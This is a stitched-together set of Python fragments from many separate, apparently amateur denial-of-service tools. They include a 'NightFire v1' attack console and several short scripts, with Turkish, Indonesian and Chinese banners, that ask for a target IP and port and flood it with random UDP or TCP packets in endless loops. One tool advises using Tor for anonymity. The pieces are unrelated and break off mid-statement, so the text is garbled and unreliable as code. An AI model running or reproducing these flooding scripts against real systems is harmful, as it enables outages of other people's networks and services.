def main(): global fsubs global liips global tattacks global uaid global said global iaid global haid global aid global attack global dp global ovh global gamenuke global http while True: sys.stdout.write("\x1b]2NightFire v1 servers {78} Online {34} {130 f*****g gigs} \x07") sin = input("\033[1;00m[\033[91mNightFire v1\033[1;00m]-\033[91m家\033[00m ").lower() sinput = sin.split(" ")[0] if sinput == "clear": os.system ("clear") print (banner) main() elif sinput == "exit": print ("[\033[91mNightFire v1\033[00m] You Are Exiting Out Of NightFire v1come back.\n") exit() elif sinput == "attacks": print ("[\033[91mholy f**k you have been frying shit\033[00m] Total Attacks Running: {}\n".format (aid)) main() elif sinput == "resolve": liips += 1 host = sin.split(" ")[1] host_ip = socket.gethostbyname(host) print ("[\033[91mDIE\033[00m] Host: {} \033[00m[\033[91mConverted\033[00m] {}\n".format (host, host_ip)) main() elif sinput == "nfonuke": if username == "Guest": print ("[\033[91mDIE\033[00m] You Are Not Allowed To Use This Method.\n") main() else: try: sinput, host, port, timer, pack = sin.split(" ") socket.gethostbyname(host) print ("[\033[91mDIE\033[00m] Attack Sent From )NAME): {}\n".format (host)) punch = random._urandom(int(pack)) threading.Thread(target=nfonukesender, args=(host, port, timer, punch)).start() except ValueError: print ("[\033[91mDIE\033[00m] The Command {} Requires An Argument.\n".format (sinput)) main() except socket.gaierror: print ("[\033[91mDIE\033[00m] Host: {} Invalid.\n".format (host)) main() elif sinput == "homekill": if username == "Guest": print ("[\033[91mDIE\033[00m] You Are Not Allowed To Use This Method.\n") main() else: try: sinput, host, port, timer, pack = sin.split(" ") socket.gethostbyname(host) print ("[\033[91mDIE\033[00m] Attack Sent From NightFire v1: {}\n".format (host)) punch = random._urandom(int(pack)) threading.Thread(target=homekillsender, args=(host, port, timer, punch)).start() except ValueError: print ("[\033[91mDIE\033[00m] The Command {} Requires An Argument.\n".format (sinput)) main() except socket.gaierror: print ("[\033[91mDIE\033[00m] Host: {} Invalid.\n".format (host)) main() elif sinput == "stop": print ("[\033[91mDIE\033[00m] All Running Attacks Have Been Stopped.\n") attack = False while not attack: if aid == 0: attack = True elif sinput == "stop": what = sin.split(" ")[1] if what == "udp": print ("Stopping All homekill Attacks.\n") homekill = False while not udp: if aid == 0: print ("[\033[91mDIE\033[00m] No homekill Processes Running.") homekill = True main() if what == "ovh": print ("Stopping All ovhdown Attacks.\n") icmp = False while not ovh: print ("[\033[91mDIE\033[00m] No ovh Processes Running.") udp = True main() else: print ("[\033[91mDIE\033[00m] {} Is Not A Command.\n".format(sinput)) main()
#!/usr/bin/python3 import os import sys import time import socket import random import _thread sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ip_address = input('IP:') string = random._urandom(2048) wait = input('继续攻击吗?') print('准备中') send = 0 ip_address = str(ip_address) def attack(num, ip, _string): print('线程%s启动' % num) while True: for _port in range(1, 4001): sock.sendto(_string, (ip, _port)) for lines in range(1, 251): try: _thread.start_new_thread(attack, (lines, ip_address, string)) except: print('%s启动失败' % lines) while True:
import os import sys import socket import random import threading ip = input("ip: ") port = int(input("port: ")) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) bytes = random._urandom(65507) randport = (True, False)[port == 0] port = (random.randint(1, 65535), port)[randport] on = True def main(): count = 0 while on: count += 8 print(":", count, "udp packets sent.", end="\r") try: sock.sendto(bytes, (ip, port)) sock.sendto(bytes, (ip, port)) sock.sendto(bytes, (ip, port)) sock.sendto(bytes, (ip, port)) sock.sendto(bytes, (ip, port)) sock.sendto(bytes, (ip, port)) sock.sendto(bytes, (ip, port)) sock.sendto(bytes, (ip, port)) except KeyboardInterrupt:
__ _ ___| |_ _ __ __ _| | | | | | | | | | \ `--. / _` / __| __| '__/ _` | | | | | | | | | | |`--. \ | (_| \__ \ |_| | | (_| | | |/ /| |/ /\ \_/ /\__/ / \__,_|___/\__|_| \__,_|_|___/ |___/ \___/\____/ """ print(banner) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) bytes = random._urandom(6000) host = raw_input("Target IP addres : ") port = input("Target PORT number : ") sent = 0 while True: sock.sendto(bytes, (host,port)) sent = sent + 1 print("\u001b[31m.Attack Started Send package :%d" % (sent))
import threading import os import random as rnd import socket import time bytes = rnd._urandom(1490) os.system('clear') print(''' ____ ____ _____ __ __ __ / __ \/ __ \/ ___/ / /_/ /_ ________ ____ _____/ /____ / / / / / / /\__ \______/ __/ __ \/ ___/ _ \/ __ `/ __ / ___/ / /_/ / /_/ /___/ /_____/ /_/ / / / / / __/ /_/ / /_/ (__ ) /_____/\____//____/ \__/_/ /_/_/ \___/\__,_/\__,_/____/ ''') print(' ‹'+'—'*20+'(Hacking kro pyaar ni)'+'—'*20+'›') print('Author : king') print('Instagram : the.empiresec') print('github : https://www.github.com/the.EmpireSec) print('Note : Use tor for anonymity\n') host=input('[+] Enter target ip/domain >> ') port = int(input('[+] Enter an open port no. >> ')) def attack_via_tcp(): global port sent = 0 while True : s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((host,port))
def code(file_name): hasRandom = False hasSocket = False hasASCII = False file = open(file_name, "r") length = len(file.readlines()) file.close() f = open(file_name, "r") if file_name.endswith('.hash'): identifier = f.readline() if os.path.isfile('exceptions.txt'): with open('exceptions.txt', 'r') as errortxt: exceptMe = errortxt.read() hasExcept = True if identifier == '<#lily>\n': if f.readline() == '\n': print('Reading .HASH file...') time.sleep(1.5) for lines in range(2, length): hashProcess = f.readline() process = hashProcess.split(" ") if process[0] == 'log:': for item in process[1:]: print(item, end=" ") elif process[0] == 'get:': if process[1] == 'socket\n': if hasSocket != True: hasSocket = True print('Updating Dependencies:') print(' Getting Packet...') time.sleep(0.5) else: print('Done!') print('Packet Error:') print(' Packet socket already Imported.') elif process[1] == 'rand\n': if hasRandom != True: hasRandom = True print('Updating Dependencies:') print(' Getting Packet...') time.sleep(0.5) print('Done!') else: print('Packet Error:') print(' Packet rand already Imported.') elif process[1] == 'ascii\n': if hasASCII != True: hasASCII = True print('Updating Dependencies:') print(' Getting Packet...') time.sleep(0.5) print('Done!') else: print('Packet Error:') print(' Packet ascii already Imported.') else: print('Packet Error:') print( ' Packet %s does not exist Or your version is Outdated.' % (process[1])) elif process[0] == 'ascii:': if hasASCII == True: print(pyfiglet.figlet_format(process[1])) else: print('Packet Error:') print(' Packet ascii not installed') elif process[0] == 'randint:': if hasRandom == True: num1 = int(process[1]) num2 = int(process[2]) print(random.randint(num1, num2)) else: print('Packet Error:') print(' Packet rand not Found.') elif process[0] == '\n': continue elif process[0] == 'mathadd:': num1 = int(process[1]) num2 = int(process[2]) print(num1 + num2) elif process[0] == 'mathsub:': num1 = int(process[1]) num2 = int(process[2]) print(num1 - num2) elif process[0] == 'mathdiv:': num1 = int(process[1]) num2 = int(process[2]) print(num1 / num2) elif process[0] == 'mathmul:': num1 = int(process[1]) num2 = int(process[2]) print(num1 * num2) elif process[0] == 'mathsqrt:': num = int(process[1]) print(math.sqrt(num)) elif process[0] == 'randchoice:': if hasRandom == True: print(random.choice(process[1:])) else: print('Packet Error:') print(' Packet rand not Found.') elif process[0] == 'send:': if hasSocket == True: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) temp = int(process[1]) bytes = random._urandom(temp) ip = process[2] port = int(process[3]) sock.sendto(bytes, (ip, port)) print('Sent %s Bytes to %s Through Port %s.' % (bytes, ip, port)) else: print('Packet Error:') print(' Packet socket not Found.') elif process[0] == 'spam:': if hasSocket == True: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) temp = int(process[1]) bytes = random._urandom(temp) ip = process[2] for send in range(1, 65534): port = send sock.sendto(bytes, (ip, port)) print('Sent %s Bytes to %s Through Port %s.' % (bytes, ip, port)) else: print('Packet Error:') print(' Packet socket not Found.') elif process[0] == 'findip:': remoteServer = process[1] remoteServerIP = socket.gethostbyname(remoteServer) elif process[0].startswith("!"): s = " " comment = s.join(process) if comment.endswith("!"): continue else: print('Syntax Error:') print(' Missing \'!\' At end Of Comment.') else: if hasExcept == False: print('Command Error:') print( ' Command %s Does not Exist or Your Version is Outdated.' ) break else: print(exceptMe) break print('\n') f.close() shell() else: print('Newline After Identifier Required.') f.close() else: if identifier not in ['<#hash>\n', '<#hash1>\n']: print('Missing Identifier tag.') f.close() else: print( 'Outdated hash file is Detected, update to Lily Standards.' ) f.close() else: print('Invalid File type.') f.close()
def helloCallBack(top,btn_text,E1,E2,text): global t1, t0, sent, website if(E1.get() == "" or E2.get() == ""): from tkinter import messagebox messagebox.showinfo("Error!", "Website Name and Protocol type \ncannot be empty!") elif(btn_text.get() == "Start Test" ): btn_text.set("Stop Testing") text.config(state="normal") website = E1.get() useprotocol = E2.get().upper() #ip = socket.gethostbyname(website) try: # text.delete(1.0, END) ip = socket.gethostbyname(website) print(ip) # text.insert(END,'hey') text.insert(END,'\n\n************************************\nWebsite is: {}\nIP is: {}'.format(website,ip)) port = 80 # raise Exception() # time.sleep(4) except socket.gaierror: text.delete(1.0, END) print("Website Error") text.insert(END,'\nInvalid Website url/Error resolving IP Address!!\nPlease Try Again.\n************************************ ') time.sleep(4) refresh(top) try: if useprotocol == "TCP" : usedprotocol = socket.SOCK_STREAM elif useprotocol == "UDP" : usedprotocol = socket.SOCK_DGRAM else: # text.delete(1.0, END) # btn_text.set("Start Test") print('Wrong Protocol!') # time.sleep(0.02) text.insert(END, '\nWrong Choice of Protocol. Try Again!\n************************************') time.sleep(4) refresh(top) # TCP uses SOCK_STREAM and UDP uses SOCK_DGRAM sock = socket.socket(socket.AF_INET, usedprotocol) except socket.error as err: # text.delete(1.0, END) print('Exception Socket Error') text.insert(END,"\nException Socket Error!\nSocket creation failed with error %s \nTry Again!" % (err)) time.sleep(4) refresh(top) # os.system("clear") sent = 0 t0 = time.time() bytes = random._urandom(1490) sock.connect((ip, port)) text.insert(INSERT,"\n************************************\nStress testing started!!\nPlease Wait!") text.edit_modified(FALSE) while True: try: sock.sendto(bytes, (ip, port)) sent = sent + 1 if (usedprotocol != socket.SOCK_STREAM): port = port + 1 # print("Sent %s packet to %s through port:%s" % (sent, website, port)) # printreqcount() if (sent == 1000): print('Press Ctrl+C for Viewing Results') text.insert(INSERT,"\nPress [Stop Testing] to see Result!") if port == 65534: port = 1 except KeyboardInterrupt: sent = 0 t1 = time.time() print('\n\nAll done....\nAttack done on: {}\nTotal runnning time:{}\nTotal Packets Sent:{}\nPackets sent per second is: {}'.format( website, (t1 - t0), sent, int(sent / (t1 - t0)))) text.insert(INSERT, '\n\nAll done....\nAttack done on: {}\nTotal runnning time:{}\nTotal Packets Sent:{}\nPackets sent per second is: {}'.format( website, (t1 - t0), sent, int(sent / (t1 - t0)))) # print('Protocol used is: ' + useprotocol) # print('Press refresh to start again!') # # text.insert(INSERT,'Protocol used is: ' + useprotocol) # text.insert(INSERT,'Press refresh to start again!') # If you actually want the program to exit except ConnectionResetError: sock.close() # time.sleep(0.001) sock = socket.socket(socket.AF_INET, usedprotocol) sock.connect((ip, port)) #text.config(state=DISABLED) # t = threading.Thread(target=attack) # while(True): # time.sleep(0.1) # t.start() else: if(flag == 1): t1 = time.time() print( '\n\nAll done....\nAttack done on: {}\nTotal runnning time:{}\nTotal Packets Sent:{}\nPackets sent per second is: {}'.format( website, (t1 - t0), sent, int(sent / (t1 - t0)))) text.insert(INSERT, '\n\n************************************\nAll done....\nAttack done on: {}\nTotal runnning time:{}\nTotal Packets Sent:{}\nPackets sent per second is: {}\n\nIn 20 Seconds this window will close.'.format( website, (t1 - t0), sent, int(sent / (t1 - t0)))) # raise KeyboardInterrupt() text.config(state="disabled") time.sleep(20) refresh(top)
import os import sys import time import socket import random sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) bytes = random._urandom(1024) os.system("clear") print("Ddos Script By X1L and Dr.Virus") print(" ") ip = raw_input("Target IP: ") port = input("Port: ") dur = input("Time: ") timeout = time.time() + dur sent = 0 while True: try: if time.time() > timeout: break else: pass sock.sendto(bytes, (ip, port)) sent = sent + 999 print("Send %s packets to %s through port %s"), sent, ip, port except KeyboardInterrupt: sys.exit()
port = input("Masukan Port Target: ") os.system("clear") print "Mohon Tunggu" print "[ ] 0% " time.sleep(1) print "[===== ] 25%" time.sleep(1) print "[========== ] 50%" time.sleep(1) print "[=============== ] 75%" time.sleep(1) print "[====================] 100%" time.sleep(1) bytes = random._urandom(20000) timeout = time.time() + duration sent = 3000 while 1: if time.time() > timeout: break else: pass client.sendto(bytes, (victim, vport)) sent = sent + 1 print "\033[1;91mMemulai \033[1;32m%s \033[1;91mmengirim paket \033[1;32m%s \033[1;91mpada port \033[1;32m%s "%(sent, victim, vport) def main(): print len(sys.argv) if len(sys.argv) != 4: usage() else:
import socket import random import os import colorama from colorama import Fore, Back, Style, init os.system("clear") banner=""" ################################## #BU TOOL SENİN GÖTUNE GİRSİN HAWK# #Code by Göt Hawk # ################################## """ print(Fore.GREEN + banner) hedef_ip=raw_input(Fore.RED + "hedef ip: ") hedef_port=input(Fore.RED + "hedef port: ") bytes=random._urandom(10000) sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) sayac=0 while True: sock.sendto(bytes,(hedef_ip,hedef_port)) sayac=sayac+1 print(Fore.GREEN + "saldiri baslatildi,gonderilen paket:%s"%(sayac))
import socket import random import os os.system("clear") banner = """ ########################## #R4N3 DDoSv1.0 # #Code by R4N3 # #İnsta : 0_r4n3_0 # #R4N3 Boomer V1 # ########################## """ print(banner) hedef_ip = raw_input("hedef ip: ") hedef_port = input("hedef port: ") bytes = random._urandom(3000) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sayac = 0 while True: sock.sendto(bytes, (hedef_ip, hedef_port)) sayac = sayac + 1 print("saldiri baslatildi,gonderilen paket:%s" % (sayac))
import os import time import socket import random #Code Time from datetime import datetime now = datetime.now() hour = now.hour minute = now.minute day = now.day month = now.month year = now.year ############## sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) bytes = random._urandom(1490) ############# os.system("clear") os.system("figlet LORIS DDOS | lolcat") print """\033[32;1m . .IIIII .II IIIIIIIIII. I II . II..IIII-V.1.5-IIIIIIIII . .IIIIII II IIIIIIIIIIIIIIIIIIIII I. .IIIII.III I IIIByIII-II+MR.AWEN+III" .IIIIIIII II .IIIII IIIIIIIIIIII. I IIIIII IIII I III+DDOS+IIII I .II IIIIIIIIIIIII IIIIIIIII I. .II+ATTACK+II I II I .IIII IIIIIIIIIIII . I IIIII. IIIIII . I. +HACKING+ IIIII ..I II .